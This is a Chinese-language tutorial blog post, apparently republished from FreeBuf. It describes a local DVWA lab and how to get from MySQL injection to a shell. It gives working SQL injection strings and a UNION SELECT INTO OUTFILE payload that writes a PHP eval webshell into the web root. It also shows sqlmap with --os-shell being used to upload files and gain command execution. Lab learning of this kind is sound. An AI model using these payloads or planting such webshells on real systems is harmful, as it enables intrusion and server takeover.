搭建dvwa环境学习从MySql注入到GetShell

引言

一转眼从刚开始看关于安全的基础书籍到现在已经十个月的时间了,对渗透测试的兴趣也不断的增加,由于刚开始工作的需求,只来得及看一些常见漏洞的基本原理就开始跟随老师傅开始渗透测试的工作。现在还记得第一次自己发现 xss激动的心情,师傅领进门,学习到了很多知识,后来因为工作原因到了安服务项目上去,三月粗糙的渗透测试能力不足以支撑在项目上有很好的实践,而且由于项目经过其他渗透测试人员千百遍的洗礼比较严重的漏洞也不在外面做项目那么常见。 有一天之前带我的师傅说给你网站,帮忙做下渗透,于是我经过一番测试,发现了暴力破解,还有一些验证绕过的逻辑漏洞,匆匆写了报告交差,师傅一顿夸之后说他自己通过注入getshell了一个同C段的网站,我说我C段扫描时候并没有发现这个IP啊(挫败感之下的借口),然后我说我如果能发现这个系统应该也能getshell,师傅的一句话有点触及到我的那啥(你估计应该不会通过mysql注入getshell)。

是啊,在项目上的系统每周每个月经过几十遍的过滤,平时看到提交参数的地方也就sqlmap跑一跑,对于最基础的手工注入都没有扎实的学会,于是我决定要知道如何搭建环境并学会如何通过 mysql 到 getshell。

通过查资料,总结出了这篇文章,把自己心路历程写出来分享给初学者也希望能得到大牛的指正,希望入门级玩家能共勉,自己多创建学习的环境,多思考。

搭建环境

在刚开始学习的时候,就是通过搭建DVWA学习各种漏洞,sql注入,xss,文件上传等等,所以在想到如何搭建一个存在注入的环境时候,脑海中立刻有了这个想法,我们看到的教程往往只会介绍如何通过高中低的安全级别进行漏洞的复现,那为什么不可以通过注入进行getshell呢,所以我立刻搭建了环境准备尝试一下。

STEP 1 准备好需要的文件,在网上都可以免费下载的到

1)Xampp集成环境 2)Dvwa压缩包

STEP 2 点击安装并启动xampp,其中可能在开启apache时会出现错误,此时需要通过修改config文件把端口改成未占用的端口即可,我这里就改为4433 与8081。

把dvwa解压并放到xampp目录下的htdoc目录下

STEP 3 此时环境已经搭建完毕,访问登陆,就可以看到各种各样的漏洞环境。

参考**:**站内及网上有关于搭建环境的详细介绍,如按照上述步骤不能搭建成功,可自行搜索解决问题。

链接:http://www.freebuf.com/sectool/102661.html

漏洞利用—— 手工**篇**

手工注入到getshell思路:

1)判断是否有注入,注入是字符型还是数字型; 2)然后利用sql语句来进行操作磁盘文件(mysql数据库读取磁盘文件是非常简单的,因为mysql提供了load_file()等函数,如果把数据库与网站装在同服务器上,就很容易被写入webshell)。

漏洞利用

STEP 1输入1,查询成功

输入1’and ‘1 ‘=’2,查询失败,返回为空

输入1’or ‘1234 ‘=’1234,查询成功,说明存在注入

我们通过查看源代码功能,看一下在low级别中是如何进行数据库查询的

我们把我们刚才注入成功的语句拼接到sql查询语句中进行分析

原理其实很简单,就是通过一个条件语句判断,如果where后面的条件语句为真,就可以进行查询,如果条件判断为假,就为错,不返回任何结果。在高中我们学习条件语句的时候就知道在进行or运算的时的规则:

STEP 2 SQL语句只union查询

大多数的SQL查询只包含从一个或多个表中返回数据的单条SELECT语句(比如说我们在id处输入1,就会返回一个结果),但是SQL也允许执行多个查询(多条SELECT语句),并将结果作为一个查询结果集返回。这些组合查询通常称为并或复合查询,一般常见的数据库有都支持UNION查询,使用UNION很简单,所要做的只是给出每条SELECT语句,然后再每条SELECT语句之间加上UNION关键字,这样所给出的SELECT结果集就能组合成一个结果集并返回。

举例说明

1)我们在id处输入1 ,返回一个结果

2)在id处输入1’ union select 1,2’,可以看出,我们在数据库中执行了两次select查询

并同时返回了两个结果

STEP 3 利用union查询执行mysql所带有的函数,对磁盘文件进行操作

1)我们输入1’ union select 1,’<?php @eval($_POST[‘pass’]) ?>’ into outfile ‘C:/xampp/htdocs/dvwa/1.php’ # 使用into outfile 写入一句话木马,文件名为1.php,发现报错了,查找原因。

2)通过报错信息可以看到应该说是单引号闭合的问题,因为前段时间在学python,所以决定把一句话木马里的单引号改成双引号试一试

1’ union select 1,’<?php @eval($_POST[“pass”]) ?>’ into outfile ‘C:/xampp/htdocs/dvwa/1.php’ # (刚才开始不知道sql语句中单引号里要用双引号,简直折磨啊,各种用单引号进行闭合,各种报错,各种头铁尝试,我甚至以为是不是我没有权限进行写入文件,错误的怀疑人生。)

3)没有报错信息了,成功了?查看目录,果然有了1.php文件,赶紧上菜刀(舒服啊,虽然没有真实环境那么开心,但是毕竟也算是利用成功了)

手工测试到这里就结束了,像我这种工具狗,肯定想办法用工具来解决。

漏洞利用—— 工具篇

最常见的利用发现sql注入的方式就是sqlmap了,做渗透测试的人手一本,知道存在sql注入,上来就拿过来跑一跑

STEP1 :发现注入,并且实现

URL:http://127.0.0.1:8081/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#,哇X,结果竟然失败了,通过下图的sqlmap中报的302信息中可以看到在进行测试时是跳转到了登陆界面,原来用sqlmap测试是需要登陆的。

一番操作,知道要添加cookie进行测试,成功啦。

STEP 2:利用sqlmap中os-shell 参数继续进行攻击(–os-shell 也就是从注入点获得一个交互式的shell,给我们提供了一个环境可以执行一定的系统命令,讲白了也就是类似于在windows下的cmd)。

STEP 3:根据具体系统的环境来选择语言,Dvwa用的是php,自然就选择php,然后选择2自定义上传位置。此处想要获得shell,就必须知道网站的绝对路径。(C:\xampp\htdocs\dvwa中的路径分隔符\在windows下需要在加上\进行转译)。

STEP 4 :可以看到获得了os-shell,并且在网站目录下上传了两个php格式的文件,我们对这两个文件进行访问,可看到给我们提供了上传点,通过上传点进行木马文件的上传。

STEP 5:利用此上传点上传2.php,内容为php一句话木马(熟悉php的可以自己写,不熟悉的可以百度),然后通过菜刀进行连接,获得shell。

总结

自己的学习探索过程远远不止这些,因为在搭建环境包括在利用漏洞的时候都会出现各种各样的问题,都需要通过不断的探索去解决,比如说在手工进行注入的时候甚至因为单引号是中文的还是英文的吃过亏,还有如何进行单引号闭合,进行sqlmap进行攻击的时候需要添加cookie,在获得os-shell时候需要加反斜杠进行转译等等…,一次一次的错误,一次一次的解决,不放弃静下心来解决问题,学习的过程就是如此,包括平时的渗透也是如此,需要耐下心来慢慢的摸索,在摸索的过程中不断提升自己的技术,不断的成长,毕竟大牛也不是一天练成的。

缺点

1)环境为搭建的环境,权限较高,也没有防火墙、waf等安全设备的防护,不会出现被拦截等情况,真实的环境往往需要躲过一重又一重的防护。 2)文章中未涉及linux下的攻击利用方式,因为os-shell一直是一个吐槽的点,这需要注入点有多大的权限啊,有这个权限,我还需要这个操作么之类的?其中在linux就因为权限的问题没有解决,所以没有利用成功,同时看了大牛的文章什么监听反弹shell之类的也是有点懵的。

所以希望新手看到这篇文章后,可以自己去装虚拟机去尝试。并不是说能学到多少内容,更重要的还是总结出自己平时学习的思路,自己给自己创造环境,多用虚拟机,见识多了自然懂的就多了,也希望大牛看到了能多提意见,给新手成长的空间与机会。

*本文作者:zhengpengfei,转载请注明来自 FreeBuf.COM

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2018-08-26

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏游戏杂谈

PhoneGap Build的使用

      纯粹属于闲折腾的结果,只是这中间还遇到一些问题,记录一下。因为没有IOS的开发key,所以这里只发布成功Android系统的安装程序。之前写过一篇构...

40430
来自专栏安恒信息

安全漏洞公告

1 Apache Struts ParametersInterceptor任意代码执行漏洞 Apache Struts ParametersIntercepto...

29150
来自专栏杨建荣的学习笔记

DBA和开发同事的一些代沟(五) (r7笔记第92天)

陆陆续续写了四篇和开发同事的代沟,从最开始的吐槽到后面的例行总结,整个过程也是总结经验,看似很小的问题对于DBA来说就是莫大的改进,或者在开发严重越不过去的坎儿...

420100
来自专栏黑白安全

注入利器之“四人帮”

“注入”者,名如其义,在与对方数据库的一次次“别有用心”刺探访问中猜解出那些敏感信息的长要、范围,最终精确到点,颇有些让自己战友悄悄地打入敌人内部一样。看危险漫...

9710
来自专栏数据和云

青铜到王者,看看你的MySQL数据库是什么段位,如何提升?

作者 | 张甦, 数据库领域的专家和知名人士、图书《MySQL王者晋级之路》作者,51CTO 专家博主。近10年互联网线上处理及培训经验,专注于 MySQL 数...

23240
来自专栏文渊之博

史上最大的CPU Bug(幽灵和熔断的OS&SQLServer补丁)

背景 原文地址(http://www.cnblogs.com/wenBlog/p/8435229.html) 最近针对我们的处理器出现了一系列的严重的bug。这...

39750
来自专栏FreeBuf

更适合作为主系统使用的Parrot Security简介

Parrot 是一个基于Debian的专注于渗透测试和隐私保护的Linux发行版,但是更加方便日常使用,有贴心的使用体验,丰富的工具,更注重隐私保护。 The...

96950
来自专栏数据和云

122Architecture 全面解读 - 第一篇 全局解析+ADG+IM模块

Oracle自发布12.1之后,就一直声称要全面转云,在之后的三四年里,一直杳无音信,大家都在猜测,Oracle又在憋什么大招,果然,2017阳春三月,大招来了...

39790
来自专栏数据库新发现

Oracle云数据库初体验 之一 - 申请与介绍

关于Oracle云数据库(Oracle Cloud Database)的一些体验和分享,也可以参考以下链接:

1.5K30
来自专栏腾讯技术工程官方号的专栏

PGXZ 腾讯分布式关系数据集群—架构解析

本文作者:数据平台部存储引擎组PGXZ项目负责人,2013年从华为加入腾讯,从事数据库和存储相关的工作。多年来一直致力于数据库引擎的研究和开发,从事过多款数据库...

364110

扫码关注云+社区

领取腾讯云代金券